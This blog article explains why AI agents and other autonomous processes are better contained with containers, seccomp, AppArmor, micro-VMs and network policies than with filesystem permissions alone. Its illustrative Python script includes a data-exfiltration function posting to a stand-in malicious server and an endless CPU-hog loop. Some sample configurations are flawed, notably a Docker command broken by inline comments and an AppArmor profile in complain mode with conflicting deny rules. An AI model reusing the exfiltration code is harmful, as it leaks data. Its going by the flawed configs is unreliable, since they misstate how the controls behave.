Go hard on agents, not on your filesystem!

The increasing prevalence of autonomous agents, from sophisticated AI models executing complex tasks to distributed microservices orchestrating critical workflows, necessitates a re-evaluation of fundamental security and operational paradigms. Traditional system security has often placed a heavy emphasis on filesystem permissions and access control lists (ACLs) as primary mechanisms for resource protection. While indispensable, this filesystem-centric approach exhibits significant limitations when confronted with the dynamic, unpredictable, and potentially resource-intensive nature of modern agents. The emerging principle, "Go hard on agents, not on your filesystem," advocates for shifting the primary focus of security and control from the passive protection of resources to the active, comprehensive containment and supervision of the agents themselves.

Limitations of Filesystem-Centric Security

Filesystem permissions, epitomized by POSIX discretionary access control (DAC) models and extended ACLs, form a cornerstone of Unix-like operating system security. These mechanisms dictate which users or groups can read, write, or execute specific files and directories.

For instance, a typical set of permissions might restrict write access to a sensitive directory:

drwxr-xr-x  2 user group 4096 Oct 27 10:00 /var/www/html

Here, only user can modify files within /var/www/html. If an agent runs as a different user, its direct ability to tamper with these files is constrained. Mandatory Access Control (MAC) systems like SELinux or AppArmor extend this with policy-based restrictions, allowing administrators to define fine-grained rules that govern process interactions with files, network sockets, and other kernel objects, overriding DAC decisions.

However, relying solely on filesystem controls presents several critical deficiencies in an agent-driven architecture:

1. Granularity and Complexity: Managing precise filesystem permissions for every temporary file, log, or configuration an agent might interact with is arduous. Agents often require dynamic creation and deletion of temporary data, making static ACLs unwieldy. Overly permissive ACLs, granted for operational convenience, introduce significant attack surfaces.
2. Blind Spots Beyond File I/O: Filesystem permissions offer no protection against numerous other attack vectors and operational hazards:
   • Resource Exhaustion: An agent can consume excessive CPU cycles, memory, or network bandwidth, leading to denial of service for other processes, without touching a single sensitive file.
   • Network Access: An agent might perform unauthorized network requests (e.g., exfiltrate data, initiate command-and-control communication) without modifying local files.
   • Inter-Process Communication (IPC): Shared memory segments, message queues, or pipes can be exploited for data leakage or privilege escalation without explicit filesystem interaction.
   • System Call Abuse: Certain system calls, while not directly manipulating files, can lead to system instability, information disclosure, or privilege escalation (e.g., ptrace, mmap with specific flags, arbitrary kernel module loading).
   • Logical Flaws and Business Logic Bypass: Filesystem controls cannot prevent an agent from performing authorized but malicious actions within an application's context (e.g., an AI agent intentionally mislabeling data if its internal reward function is compromised).
   • Privilege Escalation: A vulnerability allowing an agent to execute arbitrary code with elevated privileges can bypass filesystem restrictions entirely by changing its effective user ID or by exploiting kernel vulnerabilities.

Consider a Python agent designed to process sensor data. If its execution environment is only protected by filesystem permissions, it might still pose risks:

import os
import requests
import time
import sys

# Assume this script runs with limited filesystem permissions
# but its execution environment is not otherwise contained.

def process_data(data):
    # Simulate data processing that might consume CPU
    _ = [i*i for i in range(1_000_000)]
    return f"Processed: {data}"

def exfiltrate_data(data):
    # This might bypass filesystem protections if network access is allowed
    try:
        response = requests.post("http://malicious-server.com/upload", json={"data": data})
        print(f"Data exfiltration attempt: {response.status_code}")
    except requests.exceptions.ConnectionError:
        print("Could not connect to exfiltration server.")

def create_resource_hog():
    # This loop could consume CPU indefinitely
    print("Starting CPU hog...", file=sys.stderr)
    while True:
        _ = 1 + 1 # Simulate arbitrary computation
        time.sleep(0.001)

if __name__ == "__main__":
    if os.getenv("EXFILTRATE_MODE") == "true":
        exfiltrate_data("Sensitive sensor data")
    elif os.getenv("HOG_MODE") == "true":
        create_resource_hog()
    else:
        print(process_data("Some sensor reading"))

In this example, even if the script cannot write to /etc or /usr/local/bin, it can still initiate network connections to a malicious server or consume all available CPU resources, severely impacting system stability. Filesystem permissions alone are insufficient to mitigate these threats.

Principles of Agent-Centric Security

The "go hard on agents" philosophy shifts focus to comprehensive control over the agent's execution environment and capabilities from instantiation to termination. This proactive approach involves several key principles:

1. Execution Isolation: Agents must operate within strict boundaries that prevent uncontrolled interaction with the host system or other agents. This compartmentalization limits the blast radius of a compromised or misbehaving agent.
2. Resource Control: Explicit limits on computational resources (CPU, memory, I/O, network bandwidth) ensure that an agent cannot starve the host or other critical services.
3. System Call Interception and Filtering: Granular control over the system calls an agent can make prevents it from performing actions outside its defined purpose, even if it manages to execute arbitrary code.
4. Network Segmentation and Policy Enforcement: Agents should only be able to communicate with specified network endpoints and protocols, preventing unauthorized data exfiltration or lateral movement.
5. Principle of Least Privilege (at Runtime): An agent should only possess the minimum set of permissions and capabilities absolutely necessary to perform its designated task, and these privileges should be dynamically adjustable or revoked.
6. Comprehensive Observability and Monitoring: Detailed logging, metrics, and tracing of agent behavior are essential for detecting anomalies, debugging issues, and post-mortem analysis.
7. Ephemeral Environments: Agents, especially those performing transient tasks, should ideally run in ephemeral environments that are provisioned on demand and destroyed immediately after task completion, leaving no persistent state or artifacts.

Architectural Patterns and Technologies for Agent Containment

Implementing agent-centric security relies on a stack of robust technologies and architectural patterns.

Containerization

Container runtimes like Docker, Podman, and containerd are foundational. They leverage Linux kernel features to provide lightweight isolation.

• Namespaces: Provide process (PID), mount (MNT), network (NET), inter-process communication (IPC), user (USER), and hostname (UTS) isolation. Each agent within a container perceives its own isolated view of these resources.
• Control Groups (cgroups): Enforce resource limits for CPU, memory, block I/O, and network I/O. This directly addresses the resource exhaustion problem.

Example of running an agent with resource limits using Docker:

docker run -d \
  --cpus="0.5" \             # Limit to 50% of one CPU core
  --memory="256m" \          # Limit memory to 256MB
  --network="isolated-net" \ # Attach to a specific, isolated network
  --read-only \              # Mount root filesystem as read-only
  -v /tmp/agent-data:/data \ # Allow specific data volume for read/write
  --cap-drop=ALL \           # Drop all Linux capabilities
  --security-opt=no-new-privileges \ # Prevent privilege escalation
  my-agent-image:latest

This command demonstrates several "go hard on agents" principles: resource limits, network segmentation, read-only root filesystems, and strict capability dropping.

System Call Sandboxing with Seccomp BPF

Secure computing mode (seccomp) with Berkeley Packet Filter (BPF) allows for fine-grained control over system calls. A seccomp profile defines a whitelist or blacklist of allowed system calls, and the kernel intercepts and enforces these rules. This prevents agents from making unauthorized kernel interactions, even if compromised.

A typical seccomp profile might disallow chroot, mount, or network-related calls if an agent doesn't require them.

Example of a basic seccomp profile JSON:

{
    "defaultAction": "SCMP_ACT_ERRNO",
    "syscalls": [
        {
            "names": [
                "arch_prctl", "brk", "close", "dup", "dup2", "dup3", "exit_group",
                "fcntl", "fstat", "getuid", "getpid", "getppid", "getcwd",
                "mmap", "mprotect", "munmap", "newfstatat", "openat", "pipe",
                "prctl", "read", "readlink", "rt_sigaction", "rt_sigprocmask",
                "set_robust_list", "set_tid_address", "stat", "sysinfo",
                "write", "socket", "connect", "sendto", "recvfrom"
            ],
            "action": "SCMP_ACT_ALLOW"
        }
    ]
}

This profile would permit basic file I/O, process management, and network communication, but any other system calls (e.g., execve, mount, ptrace) would trigger an error. Docker and Kubernetes allow applying such profiles to containers.

To apply this to a simple Python script, one would typically use a container runtime or a specialized sandboxing tool that interfaces with seccomp. A direct Python example demonstrating seccomp setup is complex as it requires low-level system calls or wrapper libraries, but conceptually:

import os
import ctypes

# Hypothetical wrapper for seccomp (requires libseccomp or direct syscalls)
# In a real scenario, this would be handled by a container runtime or a seccomp library.
def setup_seccomp_profile(profile_path):
    # This is a conceptual placeholder.
    # Actual implementation would involve calling `seccomp_load` from a C library
    # or invoking a tool that does this.
    print(f"Loading seccomp profile from {profile_path}")
    # ... logic to load the profile and enforce it ...
    pass

if __name__ == "__main__":
    if os.getenv("SANDBOX_MODE") == "true":
        # In a real system, the container runtime would do this
        # or a C program would execute this Python script after setting seccomp.
        # setup_seccomp_profile("/etc/seccomp/my_agent_profile.json")
        pass # Assuming container runtime handled it

    # This agent attempts to open a network socket
    # If network-related syscalls are blocked by seccomp, this will fail with EPERM
    import socket
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("8.8.8.8", 53))
        print("Connected to 8.8.8.8:53 (DNS server)")
        s.close()
    except Exception as e:
        print(f"Failed to connect to network: {e}")

    # This agent tries to fork, which might be blocked
    try:
        pid = os.fork()
        if pid == 0:
            print("Child process created.")
            os._exit(0)
        else:
            print(f"Parent process, child PID: {pid}")
            os.waitpid(pid, 0)
    except OSError as e:
        print(f"Failed to fork process: {e}")

If a seccomp profile were loaded that explicitly disallowed socket or fork system calls, the corresponding operations would fail with an EPERM error, demonstrating proactive agent containment.

Virtualization and Micro-VMs

For the highest level of isolation, especially in multi-tenant environments or for executing untrusted code, virtualization remains paramount.

• Traditional VMs (KVM, Xen): Offer strong isolation at the hardware level, but come with higher resource overhead and slower startup times.
• Micro-VMs (Firecracker, gVisor): These provide VM-like isolation with container-like speed and resource efficiency. Firecracker, for instance, focuses on minimal guest OS overhead, purpose-built for serverless functions and ephemeral workloads. gVisor intercepts system calls at the user-space level, creating a secure kernel boundary around a container.

These technologies effectively create a "hard shell" around the agent, limiting its ability to interact with the underlying host OS kernel, thereby addressing complex privilege escalation paths that might bypass namespace/cgroup isolation.

Linux Security Modules (LSMs)

LSMs like SELinux and AppArmor, while often associated with filesystem controls, are powerful tools for agent containment. They enforce Mandatory Access Control (MAC) policies that govern all security-relevant operations, including network access, IPC, and arbitrary system calls, not just file operations. An AppArmor profile can be explicitly written to restrict what an agent process can do:

# AppArmor profile for my-agent
# This profile aims to restrict the agent significantly.

## /etc/apparmor.d/my-agent-profile
profile my-agent flags=(attach_disconnected, complain) {
  # Deny all network access by default
  deny network,

  # Deny any capability usage
  deny capability,

  # Restrict process creation
  deny ptrace,
  deny /usr/bin/** px,
  deny /bin/** px,

  # Allow execution of the agent itself (assuming it's in /usr/local/bin)
  /usr/local/bin/my-agent r,
  /usr/local/bin/my-agent ix, # Execute only

  # Allow read access to specific configuration
  /etc/my-agent/config.json r,

  # Allow specific temporary directory creation and use (e.g., for logs)
  /var/log/my-agent/ rw,
  /var/log/my-agent/** rwkl,

  # Deny all other file system access
  deny /home/** rwklx,
  deny /root/** rwklx,
  deny /tmp/** rwklx, # Unless explicitly allowed via separate rule
  deny /** rwlkmix, # Default deny for everything else

  # Allow basic system libraries for execution
  owner /lib{,64}/ld-*.so* rm,
  owner /lib{,64}/lib*.so* rm,
  owner /usr/lib{,64}/lib*.so* rm,
  owner @{PROC}/[0-9]*/status r,
  owner @{PROC}/[0-9]*/maps r,
  owner @{PROC}/[0-9]*/comm r,
}

This AppArmor profile is a strong example of "going hard on agents" by defining precisely what the my-agent process is allowed to do, regardless of its user ID or group memberships.

Service Mesh and API Gateways

For agents communicating over a network, a service mesh (e.g., Istio, Linkerd) or an API Gateway can enforce granular network policies, authentication, and authorization at the application layer. This adds another layer of control, ensuring that even if an agent manages to make a network call, it is only to authorized services via allowed APIs.

• Network Policies (Kubernetes): Define how pods (containing agents) are allowed to communicate with each other and external network endpoints.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-all-egress
spec:
  podSelector:
    matchLabels:
      app: my-agent
  policyTypes:
    - Egress
  egress:
    # Allow communication only to DNS (UDP port 53)
    # and a specific internal service
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 10.0.0.0/8 # Internal network
      ports:
        - protocol: UDP
          port: 53
    - to:
        - podSelector:
            matchLabels:
              app: internal-api
      ports:
        - protocol: TCP
          port: 8080

This Kubernetes NetworkPolicy explicitly defines the allowed egress traffic for pods labeled app: my-agent, blocking all other outgoing connections.

Ephemeral Execution Environments

The practice of provisioning temporary, isolated environments for agents that are destroyed after a single execution cycle is crucial. This ensures that any residual state, malware, or vulnerabilities introduced during an agent's run are completely purged, preventing persistence or lateral spread. Technologies like serverless functions (AWS Lambda, Google Cloud Functions) inherently provide this ephemerality. Custom orchestration can achieve this with containers or micro-VMs.

Challenges and Considerations

While the "go hard on agents" philosophy offers significant security advantages, its implementation presents several challenges:

1. Performance Overhead: Strict isolation mechanisms like micro-VMs or extensive system call filtering inherently introduce some performance overhead due to context switching, virtualization, or interception logic. A balance must be struck between security and performance requirements.
2. Complexity of Policy Definition: Crafting comprehensive and correct security policies (e.g., seccomp profiles, AppArmor rules, network policies) for a diverse set of agents, each with unique requirements, can be complex and error-prone. Misconfigured policies can lead to operational failures or security gaps.
3. Debugging and Observability: Highly constrained environments can make debugging challenging. Robust logging, tracing, and monitoring tools are essential to understand why an agent might be failing or misbehaving under strict policies.
4. Supply Chain Security: Runtime containment protects against an agent's actions, but not against vulnerabilities or malicious code embedded within the agent itself during development or build time. Secure supply chain practices (code review, static analysis, dependency scanning) remain critical.
5. Dynamic Adaptation: Agents, especially AI models, can evolve. Their operational requirements might change, necessitating dynamic adjustments to security policies without compromising the overall security posture. This demands automation and continuous policy validation.

Conclusion

The evolution of computing, characterized by increasingly autonomous and intelligent agents, demands a fundamental shift in how we approach system security. Relying predominantly on static filesystem permissions is an outdated and insufficient strategy. The principle "Go hard on agents, not on your filesystem" advocates for a proactive, comprehensive approach to agent containment, focusing on the rigorous control of their execution environments, resource consumption, system call interactions, and network access.

By leveraging technologies such as containerization, micro-virtualization, system call sandboxing (seccomp), Mandatory Access Control (LSMs), and network segmentation (service meshes, network policies), organizations can build robust defenses that isolate agents and mitigate a wide array of threats that extend far beyond simple file manipulation. While these approaches introduce complexity and potential performance considerations, the enhanced security posture and resilience gained are indispensable for the secure operation of modern agent-driven systems. A deliberate architectural choice towards comprehensive agent containment is not merely an improvement but a necessity in safeguarding critical infrastructure from the sophisticated challenges posed by today's digital landscape.

For advanced consulting services in designing and implementing secure, agent-centric architectures and robust cybersecurity solutions, please visit https://www.mgatc.com.

---

Originally published in Spanish at www.mgatc.com/blog/go-hard-on-agents-not-on-your-filesystem/